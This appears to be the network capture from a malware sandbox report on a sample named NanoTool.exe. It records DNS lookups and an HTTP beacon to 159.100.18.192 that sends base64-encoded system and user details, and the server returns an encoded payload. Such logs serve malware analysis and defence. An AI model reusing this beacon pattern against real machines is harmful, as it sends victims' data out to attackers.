                                                                                                                                                                                                                                        Dec 10, 2024 10:19:53.487958908 CET1.1.1.1192.168.2.40xa3f0No error (0)troubledinco.click172.67.163.8A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:53.487958908 CET1.1.1.1192.168.2.40xa3f0No error (0)troubledinco.click104.21.42.148A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                        • www.google.com
                                                                                                                                                                                                                                        • chrome.cloudflare-dns.com
                                                                                                                                                                                                                                        • troubledinco.click
                                                                                                                                                                                                                                        • 159.100.18.192
                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        0192.168.2.449747159.100.18.192807936C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:02.522126913 CET634OUTGET /login.php?event=init&id=bmV3Z3V5&data=OCBHQl9bb2JqZWN0IE9iamVjdF1fX18yWjRHWV90cnVlXzEyODB4MTAyNF9XaW5kb3dzIDEwIFByb18xMjIgbWludXRlcyAoMC4wNCBob3VycylfQzpcVXNlcnNcam9uZXNfNTA2MDEzX2pvbmVzX1dpbmRvd3NfTlRfeDY0XzEwLjAuMTkwNDVfQzpcVXNlcnNcam9uZXNcQXBwRGF0YVxSb2FtaW5nX0M6XFVzZXJzXGpvbmVzXEFwcERhdGFcTG9jYWxcVGVtcF9KT05FUy1QQ19fSW50ZWw2NCBGYW1pbHkgNiBNb2RlbCAxNDMgU3RlcHBpbmcgOCwgR2VudWluZUludGVsX0FNRDY0X0M6XzJfQzpcVXNlcnNcam9uZXNcQXBwRGF0YVxMb2NhbFxUZW1wXDJwd1VWVWZBeE9haU5BYVk0MmJ5NmdORWpFS1xOYW5vVG9vbC5leGU= HTTP/1.1
                                                                                                                                                                                                                                        Accept: application/json, text/plain, */*
                                                                                                                                                                                                                                        User-Agent: axios/0.27.2
                                                                                                                                                                                                                                        Host: 159.100.18.192
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:03.909260988 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                        Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                        Date: Tue, 10 Dec 2024 09:18:03 GMT
                                                                                                                                                                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                        Transfer-Encoding: chunked
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Data Raw: 31 66 63 30 0d 0a 4b 55 56 52 7a 52 6b 51 43 46 56 51 42 46 55 51 4a 46 45 52 31 4e 57 61 57 35 57 53 73 46 47 4f 49 42 7a 62 4e 42 56 51 50 39 45 52 46 46 55 51 53 46 55 51 42 46 55 56 74 5a 31 64 6b 64 6c 53 7a 46 32 56 4f 52 55 59 48 6c 44 63 6a 6c 57 4e 73 56 32 52 59 4e 33 4c 52 52 57 57 56 46 6a 62 59 39 55 53 32 55 47 61 4a 4e 6b 55 5a 78 6d 51 43 4e 58 59 50 6c 32 62 30 68 57 62 46 4a 55 56 53 4a 31 55 48 64 32 53 43 46 58 54 46 4a 30 63 6e 6c 45 61 6e 6c 57 51 72 6c 55 61 76 6c 57 51 30 73 6d 55 75 70 32 61 59 5a 30 63 5a 68 33 61 69 6c 46 61 32 4a 33 54 43 70 56 55 56 31 55 52 44 64 56 51 46 4a 33 53 6e 4a 6e 4d 46 52 7a 54 4a 6c 32 62 44 42 7a 59 35 59 57 59 4b 5a 44 52 50 74 79 4e 33 59 57 4f 76 4d 7a 4b 35 4d 54 5a 6d 56 54 4f 33 63 6a 5a 4e 64 45 5a 75 78 45 55 4d 4a 54 62 31 5a 6e 64 6b 46 58 64 6c 4e 33 4d 30 6f 47 56 4c 64 32 53 46 39 57 51 6e 64 56 56 77 74 45 63 7a 6b 47 55 70 64 54 56 6d 39 43 4f 77 64 6d 54 44 46 6e 4d 35 77 32 56 78 30 55 62 58 35 30 4e 31 35 47 4f 35 4a 57 5a [TRUNCATED]
                                                                                                                                                                                                                                        Data Ascii: 1fc0KUVRzRkQCFVQBFUQJFER1NWaW5WSsFGOIBzbNBVQP9ERFFUQSFUQBFUVtZ1dkdlSzF2VORUYHlDcjlWNsV2RYN3LRRWWVFjbY9US2UGaJNkUZxmQCNXYPl2b0hWbFJUVSJ1UHd2SCFXTFJ0cnlEanlWQrlUavlWQ0smUup2aYZ0cZh3ailFa2J3TCpVUV1URDdVQFJ3SnJnMFRzTJl2bDBzY5YWYKZDRPtyN3YWOvMzK5MTZmVTO3cjZNdEZuxEUMJTb1ZndkFXdlN3M0oGVLd2SF9WQndVVwtEczkGUpdTVm9COwdmTDFnM5w2Vx0UbX50N15GO5JWZ3QUNWhEawRHSStmVNNFOxNWSGFTVHJENllEVTV2a2cHZaFVczQ0bwMjTwR3c0JlNRNGVjRTSG1mWzllMlhGaqxGai9kTrgHNZhFaU1kSwo3YydmUrUGMvMTSMVkbS9yKK9Cey8yYWlXZFZXeyITd0cGU6JTSMlDVR9GUrd1S0okS00WWvlmY5p2Sphle6BTbOhzVWVlb5V2QjtSWvB3UJNnSDlGesxUVNNFeoRUdFNTatNHdQZXTwlHaCtiaDpWdsNjer0UamV0SkFzcEN3a1N1URpWNtNzKiZGNohUNmRkRIZ1UINDd4JTOkRjNXJke2o2YwBVT3dVVoRXYVZ3LuhEODp3ZQtiZrd3YxdGekpGOxoFS2IlRTZja2FTb0gTMxQEN3FWb2cWTwNUa3V3MwIWZ4AVWmhEWQhEcxVXQ6t2cshkY3YEcRZlQah0RyIHU2tCVMdEapVneyc2TktUMvFlZycDV5xUbpRTcPNUcJ9GUVBTQ3J1M3N3K5YGNMtWTqF0bPlGND1UOwUVUzVFdQRDNthjZrklYT9yM2VzLvsEe0MWdVVjZOV1clJWawJlM48UMPlWexUlW1BHeWVXYwIzYtNDSwJVbuVERDF3c4pFbT1mcFJ3SXFXOlVTVO9mSwIEdThVOvhWR5oEb5VWS5UEcMBzR5NFcnl [TRUNCATED]
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:03.909331083 CET1236INData Raw: 77 73 43 65 55 4a 56 59 57 6c 6a 5a 77 51 56 52 6d 68 32 63 32 4d 44 4f 79 6f 55 52 34 64 54 53 4f 78 55 62 32 41 6e 57 71 5a 56 5a 31 45 48 54 55 64 46 5a 74 78 57 55 76 4e 54 57 42 70 6d 53 31 45 31 4e 36 39 57 4f 44 46 6c 5a 77 51 56 52 32 68
                                                                                                                                                                                                                                        Data Ascii: wsCeUJVYWljZwQVRmh2c2MDOyoUR4dTSOxUb2AnWqZVZ1EHTUdFZtxWUvNTWBpmS1E1N69WODFlZwQVR2hXaBJGMttmdpBVYklWdVdmbwsWZ1o0RJp2bu50Ulh0caBTST12U5VHbHlGOhxmaMNmVDZ2VsdHarFUQwQUaORVMulkeZ10UxxkTndTYqVkajlEeuJ1S2R0VaplVMVjdHt0bQplUV5UW5RTbvUXVBRFTKtUesRUNwY3
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:03.909343004 CET1236INData Raw: 46 31 6b 56 35 4e 48 4f 4c 46 45 57 47 39 55 63 35 46 45 57 76 77 32 5a 47 52 31 51 33 46 45 4d 5a 4a 30 52 32 6b 54 4d 76 4e 6c 55 35 42 46 62 6e 6c 6b 56 74 78 6d 61 34 5a 56 63 31 4a 45 53 61 31 55 63 76 4a 48 5a 5a 70 30 4c 73 52 55 4d 79 4d
                                                                                                                                                                                                                                        Data Ascii: F1kV5NHOLFEWG9Uc5FEWvw2ZGR1Q3FEMZJ0R2kTMvNlU5BFbnlkVtxma4ZVc1JESa1UcvJHZZp0LsRUMyMlayJUMuhXR5ITa6pHTZdEaYJ0NHpXSkRzdFRXZRl1MCN2aK1Gco5kQO9kVsZkbEVzaKV1Spl2aHlUekhmbLFkQsdDR0Ykd1xEZoRGcTBTeuhzNKJnQGhHRmRGWQJ1T5FlVZlVTSVUdZBlNFlUWDl3a2kEc0kUMv0m
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:03.909403086 CET1236INData Raw: 68 70 6c 63 6d 74 69 55 42 64 7a 54 47 46 55 59 4e 4a 31 51 70 68 31 64 73 42 48 61 76 46 7a 64 53 46 55 65 34 68 44 53 76 41 33 55 31 4e 47 55 76 78 32 56 76 45 55 65 47 5a 6b 59 4f 68 54 62 5a 74 32 61 53 42 58 55 79 4d 55 63 6e 4e 48 64 4e 68
                                                                                                                                                                                                                                        Data Ascii: hplcmtiUBdzTGFUYNJ1Qph1dsBHavFzdSFUe4hDSvA3U1NGUvx2VvEUeGZkYOhTbZt2aSBXUyMUcnNHdNhzSwIVa4xWazRjWoNDSXlmYDt2MNF2KvVHZ1JVZwQldMJ0QQVldUdnNxVnR0MzaMJENINUUm1kRkFDe4pHcykHSIJXNBR0a4AzdapGSHhHSslGW0Y1bSFHb6tyQG9EZht0aKlVQxVlUl9kZrh1SI9mcYRlT5gmRJhl
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:03.909415960 CET1236INData Raw: 51 4e 6d 57 31 64 6d 52 6e 42 58 61 49 31 6b 54 78 6c 48 63 74 70 33 61 45 5a 32 63 79 6b 56 57 53 52 6d 5a 30 6b 58 64 54 4a 33 63 6d 4a 6b 62 6b 64 6e 53 50 68 6b 56 76 73 55 63 76 70 58 56 34 4d 56 4f 61 42 33 55 6f 70 46 57 44 46 6e 55 54 4a
                                                                                                                                                                                                                                        Data Ascii: QNmW1dmRnBXaI1kTxlHctp3aEZ2cykVWSRmZ0kXdTJ3cmJkbkdnSPhkVvsUcvpXV4MVOaB3UopFWDFnUTJ3QNVzV6lWdNpERKRncP9EbIlXS3ZXS6pWYxJTaxBjdrlnbpFWU5h1KahENB1GZVZES1NleTNnczcnRRZ3NE5mVE9ESBFGV2d2dOVzaaJWOnZVNzwUeHBTOolneMRVSuJ1TylEb402UBpkWsx2ZRRVaxJnSuxWWxYl
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:03.909426928 CET1236INData Raw: 61 52 31 52 6d 39 6b 56 77 6b 6b 65 43 4e 32 51 78 35 55 4e 6e 52 46 4f 47 64 47 62 61 35 6d 61 42 52 6e 61 44 56 32 63 74 5a 32 54 33 52 6b 64 46 46 46 65 54 39 6b 63 35 6b 58 57 51 68 54 62 33 55 6c 51 78 59 47 4d 47 4e 44 62 70 70 31 4d 78 55
                                                                                                                                                                                                                                        Data Ascii: aR1Rm9kVwkkeCN2Qx5UNnRFOGdGba5maBRnaDV2ctZ2T3RkdFFFeT9kc5kXWQhTb3UlQxYGMGNDbpp1MxUlMVRVaSpFWv1mdEpFSvgWQ3UDZrNTMxBnbppGeRRmUsdGRiRlR65WU15mVaJ3MPlzVzhzK2JjN3VFRylXUp9GRjJEeodHZS1mcEZTWhVmcQZmTFF2UyEXa3c3NaZGWNxGWCx2VNNXO2MzQFh1TQ9GZxUGMPNXVjRW
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:03.909437895 CET1236INData Raw: 36 46 33 55 59 31 45 53 42 4a 7a 51 30 35 45 4e 43 56 46 64 48 6c 56 64 57 68 46 65 71 46 55 4e 71 52 7a 55 6a 4a 56 54 6e 52 6e 53 32 46 6d 61 78 6c 31 4b 5a 42 6e 54 72 42 46 4d 4c 52 58 63 46 46 7a 63 72 63 30 4e 33 59 6b 62 76 77 6b 64 30 68
                                                                                                                                                                                                                                        Data Ascii: 6F3UY1ESBJzQ05ENCVFdHlVdWhFeqFUNqRzUjJVTnRnS2Fmaxl1KZBnTrBFMLRXcFFzcrc0N3Ykbvwkd0hmeQRzNad0L5l0N0NnQvRmQ0B1b1IVU6FHbBFXOoJFemdmZvZUdQdEbzhmVvhWeG5kcWZlWL9mUTlmQqtCdm12LrRlNvdHVh90R4AjTPBHVPBjQyNHN2J2bt5Eevo3NKtmaEJjM5RVQ0kXauFVZzoUVmN3U2l0anp2
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:03.909610033 CET1236INData Raw: 51 5a 7a 51 4b 31 32 56 34 35 32 54 76 68 6e 61 6e 6c 47 52 4b 70 6c 62 44 56 6a 51 72 67 56 55 45 46 45 55 71 4e 58 65 36 31 32 53 58 68 32 4e 42 68 54 62 5a 31 55 55 43 52 48 55 4b 74 79 54 73 78 57 65 76 4e 44 4d 4b 6c 6b 65 7a 45 48 53 4b 46
                                                                                                                                                                                                                                        Data Ascii: QZzQK12V452TvhnanlGRKplbDVjQrgVUEFEUqNXe612SXh2NBhTbZ1UUCRHUKtyTsxWevNDMKlkezEHSKFlVvcFSPhVQuBHbTJlbRVTQEFESHtSVyh3MZN0V0FUV1FlUSNDV1NUYIRjWOdXbtd0dsRnNxEWbktSYGNGa21EO01USa5USpZTRQFlRzlFcP5kMGN2MHp0dJZWcaNDe2h1drp3cFhHUuRETSNkar9mY1FjNwwUMPRW
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:03.909620047 CET1236INData Raw: 68 4a 32 55 42 64 6d 61 55 35 55 54 79 64 6e 53 34 38 6d 62 4a 39 32 62 30 59 6a 62 70 42 54 54 78 41 6a 56 51 4a 45 65 79 6b 6c 65 4d 68 57 65 71 42 31 5a 74 6c 6e 63 34 78 30 61 71 70 6e 57 52 52 6b 55 34 39 6d 63 72 51 7a 56 42 39 79 62 59 56
                                                                                                                                                                                                                                        Data Ascii: hJ2UBdmaU5UTydnS48mbJ92b0YjbpBTTxAjVQJEeykleMhWeqB1Ztlnc4x0aqpnWRRkU49mcrQzVB9ybYVmaGtGbO5mRmt0Y0Q2YVtGckxGTWh3TzclaStEZohWS5hHa0EXMtRDWV5UUJNXWtlnZXtEOpplbTNET24kVTplTSRWMxI2YE92SWl2Q4dFew8yLqBjS4kkaNVlNmR3TwNzMGhnYXZDVxNHVjN3R1s0SxU0T512ZGpF
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:03.909631014 CET1236INData Raw: 35 55 6b 59 52 74 57 51 57 5a 44 5a 78 6c 58 63 77 5a 6d 53 33 77 57 57 54 42 48 61 56 6c 31 61 6c 64 46 56 6f 64 55 61 6c 4e 57 54 4d 5a 55 63 77 67 6d 61 72 6f 47 55 32 51 54 61 32 4a 7a 59 35 31 30 64 61 56 33 64 36 46 6d 54 77 64 56 61 76 68
                                                                                                                                                                                                                                        Data Ascii: 5UkYRtWQWZDZxlXcwZmS3wWWTBHaVl1aldFVodUalNWTMZUcwgmaroGU2QTa2JzY510daV3d6FmTwdVavhHcxFDNBZnQwJ3amF3csNXaHNHa2tEdFp2QPRUOIR3YpNHaMlnNoZVStZEb2ETVvQFV2ITM3N0YzNVM4dWMxNzLDBnVqRmWHdjSrRlM142S61UTxV3RRV2UJxmQ0R2MDxGc6RzcThWUrNTYGNjbRBXe3dDbKlGRTFD
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.029136896 CET1236INData Raw: 47 5a 55 63 32 49 6e 57 34 49 48 62 55 39 57 57 68 70 30 4c 68 68 30 4e 31 38 32 63 56 64 56 64 30 4d 32 62 34 4a 48 61 55 56 48 5a 4f 56 45 4e 33 4d 6a 52 7a 67 57 5a 35 51 47 4f 4b 46 6a 63 68 46 6b 64 4b 64 55 52 45 42 56 61 49 64 44 64 45 68
                                                                                                                                                                                                                                        Data Ascii: GZUc2InW4IHbU9WWhp0Lhh0N182cVdVd0M2b4JHaUVHZOVEN3MjRzgWZ5QGOKFjchFkdKdUREBVaIdDdEhDRPRTe0MnU1YlR2FURndDWzh2aqN2VKBlVWlUMhZHWOVDWaFmR4h1Z5FkTBVDeZhnQ1RkUxY2STNmU69mb35mYvNkdwpWdZFzRyx2bI50VYtWVuJVVIRFTLJnW1lTVrFVVPhEbyoGSHhjby5GRPdGORl1YDhDdLpU


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        0192.168.2.449740142.250.181.684437936C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-10 09:17:39 UTC128OUTGET / HTTP/1.1
                                                                                                                                                                                                                                        Accept: application/json, text/plain, */*
                                                                                                                                                                                                                                        User-Agent: axios/0.27.2
                                                                                                                                                                                                                                        Host: www.google.com
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-10 09:17:40 UTC1191INHTTP/1.1 200 OK
                                                                                                                                                                                                                                        Date: Tue, 10 Dec 2024 09:17:39 GMT
                                                                                                                                                                                                                                        Expires: -1
                                                                                                                                                                                                                                        Cache-Control: private, max-age=0
                                                                                                                                                                                                                                        Content-Type: text/html; charset=ISO-8859-1
                                                                                                                                                                                                                                        Content-Security-Policy-Report-Only: object-src 'none';base-uri 'self';script-src 'nonce-wB0HXZVUVvF34uiN7-IlgA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other-hp
                                                                                                                                                                                                                                        Accept-CH: Sec-CH-Prefers-Color-Scheme
                                                                                                                                                                                                                                        P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."
                                                                                                                                                                                                                                        Server: gws
                                                                                                                                                                                                                                        X-XSS-Protection: 0
                                                                                                                                                                                                                                        X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                                                        Set-Cookie: AEC=AZ6Zc-V99c9oQoIeZmkY0U-h6fQwPGFJfFZDo-A_Agdjy8lJiXRG7iqoH1Q; expires=Sun, 08-Jun-2025 09:17:39 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=lax
                                                                                                                                                                                                                                        Set-Cookie: NID=519=MRlTzdzhDyfAgPzYtebSU5LLcvPXnY1uCjDT7LYzb8KCxMUFHHz_Q7wZwIOgP9zhHKT6npxwR2NxoHuo_qaokGVhBxccDTcOdfPe_oecRKnfdTNpT30texowQmLTqEeKjNcDOO9pGPVwh2eHeGjLPs1m3Smedo6PxlUANIzQBpPlqUwKdWXUB7tEtUaJCvLY_L2EDhCJRQ; expires=Wed, 11-Jun-2025 09:17:39 GMT; path=/; domain=.google.com; HttpOnly
                                                                                                                                                                                                                                        Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
                                                                                                                                                                                                                                        Accept-Ranges: none
                                                                                                                                                                                                                                        Vary: Accept-Encoding
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Transfer-Encoding: chunked
                                                                                                                                                                                                                                        2024-12-10 09:17:40 UTC199INData Raw: 33 31 63 61 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 74 65 6d 73 63 6f 70 65 3d 22 22 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 57 65 62 50 61 67 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 53 65 61 72 63 68 20 74 68 65 20 77 6f 72 6c 64 27 73 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2c 20 69 6e 63 6c 75 64 69 6e 67 20 77 65 62 70 61 67 65 73 2c 20 69 6d 61 67 65 73 2c 20 76 69 64 65 6f 73 20 61 6e 64 20 6d 6f 72 65 2e 20 47 6f 6f 67 6c 65 20 68 61 73 20 6d 61 6e
                                                                                                                                                                                                                                        Data Ascii: 31ca<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en"><head><meta content="Search the world's information, including webpages, images, videos and more. Google has man
                                                                                                                                                                                                                                        2024-12-10 09:17:40 UTC1390INData Raw: 79 20 73 70 65 63 69 61 6c 20 66 65 61 74 75 72 65 73 20 74 6f 20 68 65 6c 70 20 79 6f 75 20 66 69 6e 64 20 65 78 61 63 74 6c 79 20 77 68 61 74 20 79 6f 75 27 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 2e 22 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 6f 64 70 2c 20 22 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 2f 6c 6f 67 6f 73 2f 64 6f 6f 64 6c 65 73 2f 32 30 32 34 2f 73 65 61 73 6f 6e 61 6c 2d 68 6f 6c 69 64 61 79 73 2d 32 30 32 34 2d 36 37 35
                                                                                                                                                                                                                                        Data Ascii: y special features to help you find exactly what you're looking for." name="description"><meta content="noodp, " name="robots"><meta content="text/html; charset=UTF-8" http-equiv="Content-Type"><meta content="/logos/doodles/2024/seasonal-holidays-2024-675
                                                                                                                                                                                                                                        2024-12-10 09:17:40 UTC1390INData Raw: 30 36 37 34 2c 31 34 32 37 2c 38 37 2c 31 32 31 2c 32 39 32 37 36 2c 32 37 30 38 33 2c 35 32 30 33 32 31 30 2c 31 31 30 34 36 2c 38 38 33 34 38 32 30 2c 32 30 2c 31 2c 33 2c 34 37 2c 31 2c 31 2c 31 2c 31 2c 31 2c 31 2c 31 2c 31 2c 31 2c 31 2c 31 2c 31 2c 32 37 39 37 38 30 38 32 2c 32 35 32 32 34 30 34 35 2c 34 36 33 36 2c 31 36 34 33 36 2c 33 34 37 36 30 2c 35 2c 34 39 32 38 30 2c 31 39 33 30 38 2c 36 2c 33 33 30 39 2c 38 38 34 2c 31 34 32 38 30 2c 38 31 38 31 2c 35 39 33 34 2c 38 39 33 39 2c 33 34 35 35 37 2c 31 39 30 31 31 2c 32 36 36 32 2c 33 34 33 32 2c 33 33 31 39 2c 32 33 38 37 39 2c 39 31 33 39 2c 33 30 37 38 2c 31 35 32 31 2c 33 32 38 2c 34 34 35 36 2c 31 37 36 39 2c 32 33 34 30 37 2c 36 2c 31 30 32 31 30 2c 36 38 37 2c 37 38 35 31 2c 32 32 2c 38
                                                                                                                                                                                                                                        Data Ascii: 0674,1427,87,121,29276,27083,5203210,11046,8834820,20,1,3,47,1,1,1,1,1,1,1,1,1,1,1,1,27978082,25224045,4636,16436,34760,5,49280,19308,6,3309,884,14280,8181,5934,8939,34557,19011,2662,3432,3319,23879,9139,3078,1521,328,4456,1769,23407,6,10210,687,7851,22,8
                                                                                                                                                                                                                                        2024-12-10 09:17:40 UTC1390INData Raw: 29 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 67 6f 6f 67 6c 65 2e 73 6e 3d 27 77 65 62 68 70 27 3b 67 6f 6f 67 6c 65 2e 6b 48 4c 3d 27 65 6e 27 3b 7d 29 28 29 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 76 61 72 20 67 3d 74 68 69 73 7c 7c 73 65 6c 66 3b 66 75 6e 63 74 69 6f 6e 20 6b 28 29 7b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 26 26 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 2e 6b 4f 50 49 7c 7c 6e 75 6c 6c 7d 3b 76 61 72 20 6c 2c 6d 3d 5b 5d 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 61 29 7b 66 6f 72 28 76 61 72 20 62 3b 61 26 26 28 21 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 7c 7c 21 28 62 3d 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 65 69 64 22 29 29 29 3b 29 61 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 72 65 74 75 72 6e 20 62 7c 7c 6c
                                                                                                                                                                                                                                        Data Ascii: );(function(){google.sn='webhp';google.kHL='en';})();(function(){var g=this||self;function k(){return window.google&&window.google.kOPI||null};var l,m=[];function n(a){for(var b;a&&(!a.getAttribute||!(b=a.getAttribute("eid")));)a=a.parentNode;return b||l
                                                                                                                                                                                                                                        2024-12-10 09:17:40 UTC1390INData Raw: 66 3b 28 66 3d 67 6f 6f 67 6c 65 29 2e 70 6c 6d 7c 7c 28 66 2e 70 6c 6d 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 67 6f 6f 67 6c 65 2e 6c 6d 2e 70 75 73 68 2e 61 70 70 6c 79 28 67 6f 6f 67 6c 65 2e 6c 6d 2c 61 29 7d 29 3b 67 6f 6f 67 6c 65 2e 6c 71 3d 5b 5d 3b 76 61 72 20 67 3b 28 67 3d 67 6f 6f 67 6c 65 29 2e 6c 6f 61 64 7c 7c 28 67 2e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 67 6f 6f 67 6c 65 2e 6c 71 2e 70 75 73 68 28 5b 5b 61 5d 2c 62 2c 63 5d 29 7d 29 3b 76 61 72 20 68 3b 28 68 3d 67 6f 6f 67 6c 65 29 2e 6c 6f 61 64 41 6c 6c 7c 7c 28 68 2e 6c 6f 61 64 41 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 67 6f 6f 67 6c 65 2e 6c 71 2e 70 75 73 68 28 5b 61 2c 62 5d 29 7d 29 3b 67 6f 6f 67 6c 65 2e 62 78 3d 21 31 3b 76 61 72 20 6b 3b
                                                                                                                                                                                                                                        Data Ascii: f;(f=google).plm||(f.plm=function(a){google.lm.push.apply(google.lm,a)});google.lq=[];var g;(g=google).load||(g.load=function(a,b,c){google.lq.push([[a],b,c])});var h;(h=google).loadAll||(h.loadAll=function(a,b){google.lq.push([a,b])});google.bx=!1;var k;
                                                                                                                                                                                                                                        2024-12-10 09:17:40 UTC1390INData Raw: 62 6f 64 79 2c 74 64 2c 61 2c 70 2c 2e 68 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 6f 76 65 72 66 6c 6f 77 2d 79 3a 73 63 72 6f 6c 6c 7d 23 67 6f 67 7b 70 61 64 64 69 6e 67 3a 33 70 78 20 38 70 78 20 30 7d 74 64 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 2e 38 65 6d 7d 2e 67 61 63 5f 6d 20 74 64 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 37 70 78 7d 66 6f 72 6d 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 7d 2e 68 7b 63 6f 6c 6f 72 3a 23 31 39 36 37 64 32 7d 65 6d 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 7d 2e 6c 73 74 7b 68 65 69 67 68 74 3a 32 35 70 78 3b 77 69 64 74 68 3a 34 39 36 70 78 7d 2e
                                                                                                                                                                                                                                        Data Ascii: body,td,a,p,.h{font-family:arial,sans-serif}body{margin:0;overflow-y:scroll}#gog{padding:3px 8px 0}td{line-height:.8em}.gac_m td{line-height:17px}form{margin-bottom:20px}.h{color:#1967d2}em{font-weight:bold;font-style:normal}.lst{height:25px;width:496px}.
                                                                                                                                                                                                                                        2024-12-10 09:17:40 UTC1390INData Raw: 76 6f 69 64 20 30 26 26 28 64 3d 7b 7d 29 3b 64 2e 63 61 64 3d 22 70 6c 65 5f 22 2b 67 6f 6f 67 6c 65 2e 70 6c 65 2b 22 2e 61 70 6c 65 5f 22 2b 67 6f 6f 67 6c 65 2e 61 70 6c 65 3b 69 66 28 67 6f 6f 67 6c 65 2e 64 6c 29 72 65 74 75 72 6e 20 67 6f 6f 67 6c 65 2e 64 6c 28 61 2c 65 2c 64 2c 21 30 29 2c 6e 75 6c 6c 3b 62 3d 64 3b 69 66 28 76 3c 30 29 7b 77 69 6e 64 6f 77 2e 63 6f 6e 73 6f 6c 65 26 26 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 61 2c 62 29 3b 69 66 28 76 3d 3d 3d 2d 32 29 74 68 72 6f 77 20 61 3b 62 3d 21 31 7d 65 6c 73 65 20 62 3d 21 61 7c 7c 21 61 2e 6d 65 73 73 61 67 65 7c 7c 61 2e 6d 65 73 73 61 67 65 3d 3d 3d 22 45 72 72 6f 72 20 6c 6f 61 64 69 6e 67 20 73 63 72 69 70 74 22 7c 7c 71 3e 3d 6c 26 26 21 6d 3f 21 31 3a 21 30 3b 69 66 28 21 62 29
                                                                                                                                                                                                                                        Data Ascii: void 0&&(d={});d.cad="ple_"+google.ple+".aple_"+google.aple;if(google.dl)return google.dl(a,e,d,!0),null;b=d;if(v<0){window.console&&console.error(a,b);if(v===-2)throw a;b=!1}else b=!a||!a.message||a.message==="Error loading script"||q>=l&&!m?!1:!0;if(!b)
